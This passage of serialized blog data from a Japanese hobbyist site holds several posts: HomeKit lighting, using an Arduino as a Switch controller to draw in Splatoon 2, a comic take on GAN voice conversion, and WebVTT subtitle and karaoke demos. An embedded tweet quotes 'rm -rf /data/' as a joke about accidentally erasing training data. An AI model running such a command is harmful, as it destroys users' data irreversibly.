は夜間(日の入りから日の出まで)を条件としてセットし、\n自動化するシーンに先ほどの「ただいま」を設定することでオートメーションの追加は完了です。\n\n\n\n\n\n### Siriからのコントロール\n\nアクセサセリのタップやシーンのタップ、オートメーションやSiri経由などいろいろとHomeKitアクセサリの制御方法はありますが、やはり一番インパクトの強いのはSiriからの操作。\nこの部分はありふれた動画ですが、動作している状態を一応載せておきますね。\n\n<blockquote class=\"twitter-video\" data-lang=\"ja\"><p lang=\"en\" dir=\"ltr\">✅Apple Watch+Siri+HomeKit <a href=\"https://twitter.com/hashtag/nanopineo?src=hash&amp;ref_src=twsrc%5Etfw\">#nanopineo</a> 2 <a href=\"https://t.co/oCFEjyT0C1\">pic.twitter.com/oCFEjyT0C1</a></p>&mdash; おねえちゃんの人 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/928669578200104960?ref_src=twsrc%5Etfw\">2017年11月9日</a></blockquote>\n\n## まとめ\n\n日本ではRaspberry Piに加えてIRKitなる機器を追加で購入し、1万円以上かけて同様のことをするのが流行りみたいですね。\n同じネタ書いて何番煎じかわからないようなインターネットの藻屑を生むのは嫌なので、インパクトを狙って「4cm四方で超小型!たった2000円で照明をHomeKitで操作!」みたいなふざけたタイトルつけたかったのですが、寒い季節なのでおとなしいタイトルにしました。\nNanoPi NEO2はマイクやスピーカー端子も備えているので、暇を見つけてGoogle AssistantやAlexa Voice Serviceにも対応していきたい気持ちです。\n\n先日Apple Watch Series 3を購入し、iPhone Xを握らなくてもスマートな生活を送れるようになってきています。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">・通知確認(メール・Twitter)<br>・モバイルSuica<br>・Swarmチェックイン<br>・通勤タイマー<br>・Yahoo!天気<br>・リマインダー<br>・1Password(ワンタイムパスワード)<br>・ミュージック<br>・睡眠記録<br>・目覚まし<br>Twitterと写真撮るくらいしかiPhoneの出番ない</p>&mdash; おねえちゃんの人 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/920849763548905472?ref_src=twsrc%5Etfw\">2017年10月19日</a></blockquote>\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nこれらに加えて手首だけで照明のON/OFFができるようになり、さらに快適な生活が送れるようになって、もう家からでたくないくらいです。\n帰宅時のオートメーションを動作させたいがために出かけてるようなもんです。\n年内にエアコンのリモコン制御も追加して一層のスマートホーム化を目指しますかねぇ。\nついでに[IoTでカーテンを開けられたら](http://akkiesoft.hatenablog.jp/entry/20140422/1398174428)いいな、とも。\n\nAppleのプラットフォームに投入される話題のAIスピーカー、[HomePod](https://www.apple.com/homepod/)。\n日本語に対応することも未定であるからに、まだどれほどの可能性を秘めているのか未知数ですが、HomeKitやホームとの連携で生活のギャップを埋めることに一役買うことを期待して12月を待つとしますかね。\n"]}],[0,{"slug":[0,"2017/12/18/doitsu-no-ika/"],"data":[0,{"title":[0,"ドイツのトリ in Splatoon 2"],"date":[3,"2017-12-17T15:00:00.000Z"],"image":[0,"/assets/images/2017/12/18/drawing.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Game"]]],"tags":[1,[[0,"doitsu"],[0,"tori"],[0,"600eur"],[0,"splatoon"],[0,"arduino"],[0,"avr"]]]}],"content":[0,"\nQ. なんやこれ\n\nA. [ドイツのトリ Advent Calendar 2017 - Adventar](https://adventar.org/calendars/2074)の18日目の記事。\n\n---\n\nインターネットの悪いおたくたちの間で局所的に流行しているドイツのトリ。\n悪いおたくじゃない人達からしたら「なんだそれ」となるクッソどうでもいいものだったりします。\n悪いおたくたちはそんなことお構いなしに、聖地巡礼とかやっちゃいます。悪いおたくなので。\n\n::PostLink{slug=\"doitsunotori\"}\n\nしかし知名度がこんな低いままでは、もし悪いおたくたちが全員[凍結](https://twitter.com/toshi_a)されてしまったときに後世に残す術がありません。\nそこで、昨今の流行りに便乗して広く世界にドイツのトリを世に知らしめて行こうと思います。\n今年の流行りと言えば<del>忖度</del>Splatoon 2。Splatoon 2を舞台に繰り広げられるドイツのトリのダイレクトマーケティングの一部始終をお届けします。\n\n## 目次\n\n\n## ドイツのトリ\n\nしらんやつおるんか。\n\n- [ドイツのトリ](http://600eur.gochiusa.net/)\n- [Blog(Adventar2015/12/24) - Eastern Old Fashion](http://eastern-old-fashion.net/blog/adventar2015_12_24.html)\n\n## Splatoon 2\n\nしらんやつおるんか。\n\n[スプラトゥーン2 \\| Nintendo Switch \\| 任天堂](https://www.nintendo.co.jp/switch/aab6a/index.html)\n\n### イラスト投稿\n\nゲーム内のステージとかに掲示される落書きを投稿できるやつ。\n320x120サイズの白地のキャンバスに黒のドットを打ち込んで描く。\nここにドイツのトリを描いて世界中に周知させてやろうと悪いおたくの企てがでてしまう。\n\n\n### イラスト自動化\n\nドイツのトリのあの造形美をNintendo Switchのコントローラーで描画するのはむずかしい。\n写真をもとにイラストを適当に作って、それを投稿しよう。\nしかしSplatoon 2にはイラストを読み込んで投稿する方法はない。\nコントローラーによる入力のみなのである。\n\nそこでマイコンをコントローラとして認識させ、イラストデータをもとに入力位置を制御し、ドットの打ち込みを自動化することに。\n技術的にNintendo Switchはシステムファームウェアによって、認定コントローラー以外は動作しないようになってる。\nなので汎用HIDコントローラーはそのままでは動かなく、認定コントローラーのVendor IDとProduct IDやDescripterなどを模す必要があったりする。\nデバイスのリバースエンジニアリングからマイコンプログラミングから何から何までいろいろ考えるのめんどくさいので、先人たちが作り上げてきたOSSを使うね。\n\n[shinyquagsire23/Switch-Fightstick: Proof-of-Concept LUFA Project for the Nintendo Switch. Pretends to be a HORI Pokken Pad which only prints Splatoon 2 Posts](https://github.com/shinyquagsire23/Switch-Fightstick)\n\n\n#### マイコンの用意\n\n床に転がってるAVRマイコンを使うよ。\n上記OSSは親切なことに、いくつかのマイコンに対応してて、床に落ちてたATmega32u4搭載の世界最小Arduinoにもdiff一行で対応できるみたい。\n\n\n\n見て。2ユーロコインと同じくらいのサイズ。値段は7ユーロくらい。\n\n[Beetle - The smallest Arduino Micrcontroller - DFRobot](https://www.dfrobot.com/product-1075.html)\n\n\n#### イラストの用意\n\nドイツのトリのイラストを用意するね。ドイツのトリの写真は[600eur.gochiusa.net](http://600eur.gochiusa.net/)で[CC BY 4.0](https://creativecommons.org/licenses/by/4.0/)にて提供されているよ。\nでも320x120の白黒2値イラストにはライセンス表示ができないから、今回特別に許諾もらった。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">いいよ</p>&mdash; 空想科学読本 (@Asyley_) <a href=\"https://twitter.com/Asyley_/status/940525207453700096?ref_src=twsrc%5Etfw\">2017年12月12日</a></blockquote>\n\nそしてドイツのトリ写真を用いて適当にイラストを作ったよ。\n\n\n\n#### ファームウェア作成&焼きこみ\n\nイラスト作ってたら説明めんどくさくなったからコマンドだけ貼っとくね。<del>READMEに書いてあるしな。</del>ちなみにHigh Sierra。\n最後焼きこむときはDFUモードに突入しなきゃいけないからWikiを参考にしたよ。\n\n[Beetle SKU:DFR0282 - DFRobot Electronic Product Wiki and Tutorial: Arduino and Robot Wiki-DFRobot.com](https://www.dfrobot.com/wiki/index.php/Beetle_SKU:DFR0282)\n\n```bash\ncd $(mktemp -d)\ngit clone https://github.com/abcminiuser/lufa.git LUFA\ngit clone https://github.com/shinyquagsire23/Switch-Fightstick.git Splapaint\ncd $_\nconvert -resize 320x120 ~/Desktop/doitsunotori.png -monochrome dt.png\nsudo easy_install pip\nsudo pip install pillow\npython png2c.py dt.png\nsed -i.bak -e 's/= at90usb1286/= atmega32u4/' makefile\nexport AVRROOT=/Applications/Arduino.app/Contents/Java/hardware/tools/avr\nexport PATH=$PATH:$AVRROOT/bin\nmake\navrdude -C$AVRROOT/etc/avrdude.conf -v -patmega32u4 -cavr109 -P/dev/tty.usbmodem1421 -b57600 -Uflash:w:Joystick.hex:i\n```\n\nこれが\n\n\n\nこうじゃ\n\n\n\n#### イラスト投稿\n\nUSBケーブルでNintendo SwitchのDockのUSBポートにつなげて待つ。\n\n\n\n\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ドイツのトリ in Splatoon 2 | 犬アイコンのみっきー <a href=\"https://t.co/qrlCPcNIbd\">https://t.co/qrlCPcNIbd</a> <a href=\"https://twitter.com/hashtag/Splatoon2?src=hash&amp;ref_src=twsrc%5Etfw\">#Splatoon2</a> <a href=\"https://twitter.com/hashtag/%E3%82%B9%E3%83%97%E3%83%A9%E3%83%88%E3%82%A5%E3%83%BC%E3%83%B32?src=hash&amp;ref_src=twsrc%5Etfw\">#スプラトゥーン2</a> <a href=\"https://twitter.com/hashtag/NintendoSwitch?src=hash&amp;ref_src=twsrc%5Etfw\">#NintendoSwitch</a> <a href=\"https://t.co/UB85373ZCF\">pic.twitter.com/UB85373ZCF</a></p>&mdash; サーバルキッャト (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/942410916842401792?ref_src=twsrc%5Etfw\">2017年12月17日</a></blockquote>\n\nアノ!!\n\n### まとめ\n\nすきなラーメンの話をします。\n一般的なラーメン店では食べられないような変わり種ラーメンがすきです。\n\n\nうなぎの出汁でとったスープのらーめんとか、\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">うなぎ出汁ラーメン (@ 八べえ in 江東区, 東京都) <a href=\"https://t.co/6TQXBitUR4\">https://t.co/6TQXBitUR4</a> <a href=\"https://t.co/LCIaD2cQEV\">pic.twitter.com/LCIaD2cQEV</a></p>&mdash; みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/854904169869836291?ref_src=twsrc%5Etfw\">2017年4月20日</a></blockquote>\n\n牡蠣をつかったラーメンとか。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">牡蠣ラーメン🍜 (@ 麺や 佐市 in 墨田区, 東京都) <a href=\"https://t.co/xce6Mx8H1v\">https://t.co/xce6Mx8H1v</a> <a href=\"https://t.co/kBniV8tocZ\">pic.twitter.com/kBniV8tocZ</a></p>&mdash; みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/857073690927915009?ref_src=twsrc%5Etfw\">2017年4月26日</a></blockquote>\n\n近年メジャーなスープの仲間入りを果たしている濃厚煮干し系ラーメンでは、ここのラーメンがお気に入りです。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">I&#39;m at 麺屋 音 in 足立区, 東京都 <a href=\"https://t.co/nljto1EgMg\">https://t.co/nljto1EgMg</a> <a href=\"http://t.co/x19uG7AHtN\">pic.twitter.com/x19uG7AHtN</a></p>&mdash; みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/556384419507101696?ref_src=twsrc%5Etfw\">2015年1月17日</a></blockquote>\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n"]}],[0,{"slug":[0,"2017/12/20/kemono-1/"],"data":[0,{"title":[0,"わたしはサーバルキャットのサーバルだよ!"],"date":[3,"2017-12-19T15:00:00.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"kemono-friends"],[0,"machine-learning"]]]}],"content":[0,"\n[けものフレンズ Advent Calendar 2017 - Adventar](https://adventar.org/calendars/2115)の20日目の記事です。\n\n---\n\nみんなーおはよー!\n先週あたらしいサーバルキャットのフレンズが誕生したんだって!すっごーい!\nどんな子なのかな!気になって夜も眠れなかったよ!\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">わたしはサーバルキッャトのサーバルだよ!</p>&mdash; サーバルキッャト (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/942050333471023105?ref_src=twsrc%5Etfw\">2017年12月16日</a></blockquote>\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n\n\nあなたもサーバルって言うんだね!\n\nどんな声してるのー?\nわたし、気になっちゃった!!\n\n## 目次\n\n\n## --- 2年前\n\n[友利奈緒 Advent Calendar 2015 - Adventar](https://adventar.org/calendars/779)\n\nすっごーい!友利奈緒のフレンズがたくさん誕生したんだって!引くなっ!\n\n???「フレンズ化する前の声と似てるフレンズもいるみたいだよぉ~」\n\n[友利奈緒の声を求めて - kivantium活動日記](http://kivantium.hateblo.jp/entry/2015/12/19/000631)\n\n???「そんなに似てる声じゃないのだ!」\n\n「少々研究が足りなかったようですね、博士」\n\n「研究不足ですね、助手」\n\n## --- 2017年\n\n「2年前の声の似たフレンズの話は覚えてますか、助手」\n\n「声質変換で自分の声を変換してしゃべるフレンズのことですね、博士」\n\n「あれから2年経っているのでそろそろ本当に似てる声のフレンズが登場してもおかしくないと思うのですよ」\n\n「なるほど、確かにヒトのぎじゅつの進歩はすさまじい勢いですからね」\n\n「そのぎじゅつを使って我々の力でフレンズの声をまねることはできませんかね、助手」\n\n「ちょいちょいなのですよ」\n\n<iframe src=\"https://embed.music.apple.com/jp/album/%E3%81%A8%E3%81%A3%E3%81%A6%E3%82%82%E8%B3%A2%E3%81%84%E3%81%98%E3%82%85%E3%82%8B%E3%82%8A-%E3%82%8C%E3%81%97%E3%81%B4/1318210916?i=1318211540&amp;app=music&amp;itsct=music_box_player&amp;itscg=30200&amp;at=1l3v4mQ&amp;ls=1\" height=\"150px\" frameborder=\"0\" sandbox=\"allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation-by-user-activation\" allow=\"autoplay *; encrypted-media *;\" style=\"width: 100%; max-width: 660px; overflow: hidden; border-radius: 10px; background: transparent;\"></iframe>\n\n### 声質変換\n\n「ところで誰か せいしつへんかん とはどういうものか理解していますか」\n\n???「おまかせなのだ!」\n\n???「あらいさーん、出しゃばっちゃだめだよぉ~」\n\nアライさん「ふっふーん、ぎじゅつについてはかばんさんにお任せなのだ!」\n\n???「え、ぼく...!?」\n\n???「がんばって、かばんちゃん!」\n\nかばん「えっと、声質変換というのはですね、まず真似したいフレンズがしゃべった言葉を自分の声でも収録して、自分の声質をどう変換したら真似したいフレンズの声質になるかを計算して、\nこれをパラレルデータ変換というんですけど、その変換式をつくります。その変換式を通すと、例えばセルリアンの声が真似したいフレンズの声に聞こえてくるというものです。わかりましたか...?」\n\n???「ぜんぜんわからん。」\n\n???「そんなぁ!ひどいよ!かばんちゃんは一生懸命説明してくれたんだよ!どんな困難な課題にも挑んで、どんな素人からの質問にも耐えて、一生懸命がんばってるんだよ!」\n\nかばん「概要を説明するより論文を読んでもらったほうがいいですね。」\n\n[Statistical Parametric Speech Synthesis Incorporating Generative Adversarial Networks - IEEE Journals & Magazine](http://ieeexplore.ieee.org/document/8063435/)\n\n???「ぜんぜんわからん。」\n\n「よりわからなくなりましたね、助手」\n\nアライさん「それでも博士号持ちなのだ?!」\n\n「我々は賢いので、博士課程には進んでいないのです。」\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">かしこいので <a href=\"https://t.co/h5YnG36jZY\">pic.twitter.com/h5YnG36jZY</a></p>&mdash; サーバルキッャト (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/840596274680274944?ref_src=twsrc%5Etfw\">2017年3月11日</a></blockquote>\n\n???「博士って博士じゃなかったの!?」\n\n「サーバルのギャグはいいとして」\n\nサーバル「ギャグじゃないよ!」\n\n### 変換ぷろぐらむ\n\n???「でもぉこりぇで本当にちょいちょい?ってできるにょ?」\n\n「我々は賢いので、論文の実装をもう見つけてあるのですよ」\n\nサーバル「すっごーい」\n\n[【声質変換編】Statistical Parametric Speech Synthesis Incorporating Generative Adversarial Networks [arXiv:1709.08041] - LESS IS MORE](http://r9y9.github.io/blog/2017/10/05/ganvc/)\n\n「これにサーバルの声をたくさん突っ込んで真似させるのです。」\n\nサーバル「わたしそんなに声収録するのやだよ!」\n\n「大丈夫なのです。すでに200前後の声は収録してあるのです。」\n\nサーバル「えっ」\n\n### フレンズぼいす\n\n\n\n<a href=\"https://itunes.apple.com/jp/app/%E3%81%91%E3%82%82%E3%81%AE%E3%83%95%E3%83%AC%E3%83%B3%E3%82%BA%E3%81%82%E3%82%89%E3%83%BC%E3%82%80/id1268624173?mt=8&at=1l3v4mQ\">けものフレンズあらーむ - Tyrell Systems</a>\n\n<a href=\"https://itunes.apple.com/jp/app/%E3%81%91%E3%82%82%E3%81%AE%E3%83%95%E3%83%AC%E3%83%B3%E3%82%BA%E3%81%82%E3%82%89%E3%83%BC%E3%82%80/id1268624173?mt=8&at=1l3v4mQ\" style=\"display:inline-block;overflow:hidden;background:url(https://linkmaker.itunes.apple.com/assets/shared/badges/ja-jp/appstore-lrg.svg) no-repeat;width:135px;height:40px;background-size:contain;\"></a>\n\n「このアプリで全部の声を聴けるように毎日アラームをセットし続けるのです。」\n\n「サーバルは朝が弱いのでぴったりなのです。」\n\n「全部聴けるようになったら呼ぶのですよ。」\n\n「録音してちょいちょいするのです。」\n\n### 変換元ぼいす\n\n「サーバルの声が集まったら、あとはそのセリフを読み上げた音声を用意するだけですね、助手」\n\n「ぱそこん、に向かって延々と収録してもらうだけなのです。」\n\n[Audacity® \\| Free, open source, cross-platform audio software for multi-track recording and editing.](http://www.audacityteam.org/)\n\n### 機械学習\n\n「この変換ぷろぐらむは声質変換に機械学習を用いるのです。」\n\nサーバル「きかいがくしゅう?なにそれなにそれ!」\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">がんばれがんばれ♡ <a href=\"https://t.co/md81w8kKb8\">pic.twitter.com/md81w8kKb8</a></p>&mdash; サーバルキッャト (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/874998553608835072?ref_src=twsrc%5Etfw\">2017年6月14日</a></blockquote>\n\n「きかいにヒトやフレンズの学習を真似させるものなのです。」\n\n「最近は自動着色とかで一般人が簡単に使えるようになってきているのですよ。」\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">そしてこっちが自前で作ったカスタムけものフレンズモデルで着色<br/><br/>両方ともヒント無しでこの仕上がり <a href=\"https://t.co/rqAkCiRBnb\">pic.twitter.com/rqAkCiRBnb</a></p>&mdash; サーバルキッャト (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/875342860257710080?ref_src=twsrc%5Etfw\">2017年6月15日</a></blockquote>\n\n「すっごーい!どうやったのー!?」\n\n「つよいぱそこんを使ってやるのです。」\n\n::PostLink{slug=\"new-main-pc\"}\n\n### 声質変換学習\n\n「ぼいすが準備できたらあとはレシピにしたがってちょいちょいです」\n\n[Voice conversion (en) - r9y9/gantts: PyTorch implementation of GAN-based text-to-speech synthesis and voice conversion (VC)](https://github.com/r9y9/gantts#voice-conversion-en)\n\n「変換したいボイス200つをclbに、アラームで録音したサーバルのボイスを200つsltに用意して、待つだけなのです。」\n\n### 成果\n\n「サーバル、学習の成果はでたのですか?」\n\nサーバル「\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">きいてきいて!学習データ吹っ飛んだ!!</p>&mdash; 🚀JAXA🚀 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/942733309401997313?ref_src=twsrc%5Etfw\">2017年12月18日</a></blockquote>\n\n\n「何をしているのですか、まったく!」\n\nサーバル「\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">空き容量減ってきた/data/tempにあるゴミ消そ<br/>↓<br/>rm -rf /data/ [指が滑ってエンター]<br/>↓<br/>😭</p>&mdash; 🚀JAXA🚀 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/942734310645186560?ref_src=twsrc%5Etfw\">2017年12月18日</a></blockquote>\n\n\n## まとめ\n\nサーバル「年明けまでにはなんとかするよぉ」\n\nアライさん「サーバルにおまかせなのだ!」\n\nサーバル「ひどいよ!」\n\n「やれやれ、進捗は年末にきたいするとしますか」\n\n???「先生!原稿の進捗はどうですか!?」\n\n???「まってくれ」\n"]}],[0,{"slug":[0,"2018/04/27/streaming-conference-2-teletext/"],"data":[0,{"title":[0,"Streaming Conference #2 -TELETEXT-"],"date":[3,"2018-04-27T11:00:00.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"Web"]]],"tags":[1,[[0,"streaming"],[0,"teletext"]]]}],"content":[0,"\nこんにちは、Fennecエバンジェリストです。\n最近暇で暇でしょうがないので何かアウトプットしようと、先日[Streaming Conference #2](https://streaming-lab.connpass.com/event/79586/)にてLTをしてきました。\n表題は**# TELETEXT**で、字幕放送についてご紹介しました。\n\n動画のストリーミングサービスはインターネットでは常に注目され続けている技術の中心に位置するものです。\n動画というとビデオとオーディオの二つのみを指すことがほとんどですが、動画配信においては忘れてはいけないのがテレテキスト、字幕放送です。\n地上デジタル放送でも字幕放送によって演者の話し声を文字情報として伝えるものがいくつかありますが、インターネット動画ストリーミングにおいては忘れられている存在にも思える2018年。\nそんなテレテキストについて少しでも興味を持ってもらおうと、いくつがWebにおける字幕放送の表現の例をご紹介してきました。\n\n## 目次\n\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/pEWSFoKd193PBq\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/teletext-95201437\" title=\"# TELETEXT\" target=\"_blank\"># TELETEXT</a> </strong> from <strong><a href=\"https://www.slideshare.net/mzyy94\" target=\"_blank\">Yuki Mizuno</a></strong> </div>\n\n発表スライドはこちらになりますが、当日発表したものとは若干異なります。\nというのも、発表スライドには&lt;video&gt;タグが使え、背景に動画のライブストリーミングを流しながら行うため、[Spectacle](https://github.com/FormidableLabs/spectacle/)というWebプレゼンテーションフレームワークを使いました。\nReactコンポーネントで記述でき、後から気づいたのですがPDFでの出力もきれいなのでおすすめです。\nそのPDF出力で書き出したスライドをSlideshareにあげました。\n\nこの発表時にご紹介したWebVTTによるテレテキストのデモについて解説します。\n\n\n## EXAMPLE 1 -字幕放送-\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/pEWSFoKd193PBq?startSlide=6\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/teletext-95201437\" title=\"# TELETEXT\" target=\"_blank\"># TELETEXT</a> </strong> from <strong><a href=\"//www.slideshare.net/mzyy94\" target=\"_blank\">Yuki Mizuno</a></strong> </div>\n\nはじめに例としてあげた字幕放送はスライド6ページ目で、一般的なWebメディアにおける黒背景白文字の音声字幕と地上デジタル放送のような演者ごとに色分けされた字幕放送の表現についての紹介をしました。\n前途の通りSpectacleを用いてWebページとして行なったのはこの例を見せるためでもあり、WebページにYouTubeの動画を埋め込みたかったからです。\nこのデモでは動画に流れる音声の文字起こしをし、タイミングを合わせてクローズドキャプショントラックとして表示していました。\nデモのために用意した字幕は以下の通りです。ちなみにSafariでしか動作確認してません。\n\n```html\nWEBVTT\n\n00:00:00.500 --> 00:00:02.500 line:90%\n<c>けものフレンズ</c>\n\n00:00:04.000 --> 00:00:06.500 line:90% align:start position:30%\n<c>♪ 〜</c>\n\n00:00:08.500 --> 00:00:11.500 line:90%\n<v bag>(かばん) どこ ここ? うわ〜!\n\n00:00:11.500 --> 00:00:13.500 line:90%\n<v serval>(サーバル) そこだ〜!\n\n00:00:13.500 --> 00:00:14.800 position:80% line:90%\n<v bag><ruby>食<rt>た</rt></ruby>べないでくださ〜い!\n\n00:00:14.800 --> 00:00:16.500 position:30% line:90%\n<v serval>た <ruby>食<rt>た</rt></ruby>べないよ!\n\n00:00:16.000 --> 00:00:17.900 line:60%\n<v bag>サーバル…さん。\n\n00:00:17.900 --> 00:00:21.000 position:60% line:80% align:end\n<v serval>ここは ジャパリパーク だよ!\n<ruby>私<rt>わたし</rt></ruby>はサーバル!\n\n00:00:21.000 --> 00:00:24.000 position:60% line:80% align:end\n<v serval>この<ruby>辺<rt>へん</rt></ruby>は <ruby>私<rt>わたし</rt></ruby>のナワバリなの\n```\n\nこのファイルを.vttファイルに保存し、HTML5ビデオの&lt;track&gt;タグにて指定してあげると、動画に文字を表示することができます。\nWebVTTの`<v>`タグで、演者の指定を行っています。\nこのままだと位置はWebVTTの`position`<wbr/>や`line`、<wbr/>`align`<wbr/>属性で指定したとおりとなりますが、文字色は演者によって変わらず同じ色なので、指定してあげる必要があります。\nWebVTTの特徴にあげたCSSのサポート(一部)によって、&lt;v&gt;タグで指定した演者属性で色分けすることができます。\n\n```css\n@font-face {\n font-family: '和田研中丸ゴシック2004絵文字';\n src: url(wlcmaru2004emoji.ttf);\n}\nvideo::cue {\n font: 1.1em/1.4 '和田研中丸ゴシック2004絵文字';\n}\nvideo::cue(c) {\n font-family: 'Hiragino Kaku Gothic ProN';\n background: -webkit-linear-gradient(rgba(0,0,0,0.5), rgba(0,0,0,0.5));\n}\nvideo::cue(v[voice=\"bag\"]) {\n color: cyan;\n}\nvideo::cue(v[voice=\"serval\"]) {\n color: yellow;\n}\n```\n\nWebVTTの策定は紹介した通りまだドラフト段階であることから、ブラウザ実装は不安定で、例えば背景の色指定はrgba()単体では指定できず、グラデーションやテクスチャなどに変えてからじゃないとダメだったり、ルビがおかしかったりします。\n現状でもルビの使用や背景色にこだわらなければ十分実用できるでしょう。正式版になるころには地上デジタル放送と同様の字幕放送が楽に実装できるようになると思うと、今後が楽しみになること請け合いです。\n\n## EXAMPLE 2 -KARAOKE-\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/pEWSFoKd193PBq?startSlide=11\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/teletext-95201437\" title=\"# TELETEXT\" target=\"_blank\"># TELETEXT</a> </strong> from <strong><a href=\"//www.slideshare.net/mzyy94\" target=\"_blank\">Yuki Mizuno</a></strong> </div>\n\nスライド11ページ目で紹介したWebVTTによるカラオケデモです。__JavaScriptを一切用いずに__、動画上にカラオケのように歌詞を表示することができます。ちなみにSafariでしか動作確認してません。\n\n```html\nWEBVTT\n\n0 - Title\n00:00:00.000 --> 00:00:01.800 line:50%\n<c.title>ようこそジャパリパークへ</c>\n\n0 - Info\n00:00:00.000 --> 00:00:01.800 line:90% align:right\n作詞 大石昌良\n作曲 大石昌良\n\n00:00:01.800 --> 00:00:08.000 line:6 position:5% align:left\n<00:00:03.200><c>Wel</c><00:00:03.300><c>come</c><00:00:03.600><c> to</c><00:00:03.800><c> よ</c><00:00:04.000><c>う</c><00:00:04.300><c>こそ</c><00:00:04.500><c>ジャ</c><00:00:04.800><c>パリ</c><00:00:05.000><c>パーク!</c>\n\n00:00:03.600 --> 00:00:13.000 line:8 position:25% align:left\n<00:00:05.600><c>今日</c><00:00:05.800><c>も</c><00:00:06.200><c>ドッ</c><00:00:06.500><c>タン</c><00:00:06.800><c>バッ</c><00:00:07.100><c>タン</c><00:00:07.500><c>大</c><00:00:08.200><c>騒</c><00:00:08.800><c>ぎ</c>\n\n00:00:11.000 --> 00:00:15.500 line:6 position:15% align:left\n<00:00:13.200><c>うー!</c><00:00:13.900><c>がぉー!</c>\n\n00:00:13.200 --> 00:00:19.000 line:8 position:25% align:left\n<00:00:14.700><c>高</c><00:00:15.000><c>ら</c><00:00:15.200><c>か</c><00:00:15.500><c>に</c><00:00:15.900><c>笑</c><00:00:16.100><c>い</c><00:00:16.300><c>笑</c><00:00:16.700><c>え</c><00:00:16.900><c>ば</c><00:00:17.300><c> フ</c><00:00:17.500><c>レ</c><00:00:17.700><c>ン</c><00:00:17.900><c>ズ</c>\n\n00:00:16.000 --> 00:00:22.000 line:6 position:15% align:left\n<00:00:18.600><c>(フ</c><00:00:18.800><c>レ</c><00:00:19.000><c>ン</c><00:00:19.200><c>ズ)</c>\n\n00:00:19.800 --> 00:00:26.000 line:9 position:15% align:left\n<00:00:23.800><c>喧嘩して すっちゃかめっちゃかしても</c>\n```\n\n今回は[ようこそジャパリパークへ](https://www.youtube.com/watch?v=xkMdLcB_vNU)の歌詞を引用してご紹介します。ノリのよい曲調でテンポの良い歌詞で気に入ってます。上記歌詞に引用した*高らかに笑い笑えばフレンズ*の部分は特に現代社会を生きる日本人に足りない精神だとも言えます。\n\n<iframe src=\"https://embed.music.apple.com/jp/album/%E3%82%88%E3%81%86%E3%81%93%E3%81%9D%E3%82%B8%E3%83%A3%E3%83%91%E3%83%AA%E3%83%91%E3%83%BC%E3%82%AF%E3%81%B8-tv%E3%82%A2%E3%83%8B%E3%83%A1-%E3%81%91%E3%82%82%E3%81%AE%E3%83%95%E3%83%AC%E3%83%B3%E3%82%BA-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%8B%E3%83%B3%E3%82%B0%E3%83%86%E3%83%BC%E3%83%9E/1198924234?i=1198924324&amp;app=music&amp;itsct=music_box_player&amp;itscg=30200&amp;at=1l3v4mQ&amp;ls=1\" height=\"150px\" frameborder=\"0\" sandbox=\"allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation-by-user-activation\" allow=\"autoplay *; encrypted-media *;\" style=\"width: 100%; max-width: 660px; overflow: hidden; border-radius: 10px; background: 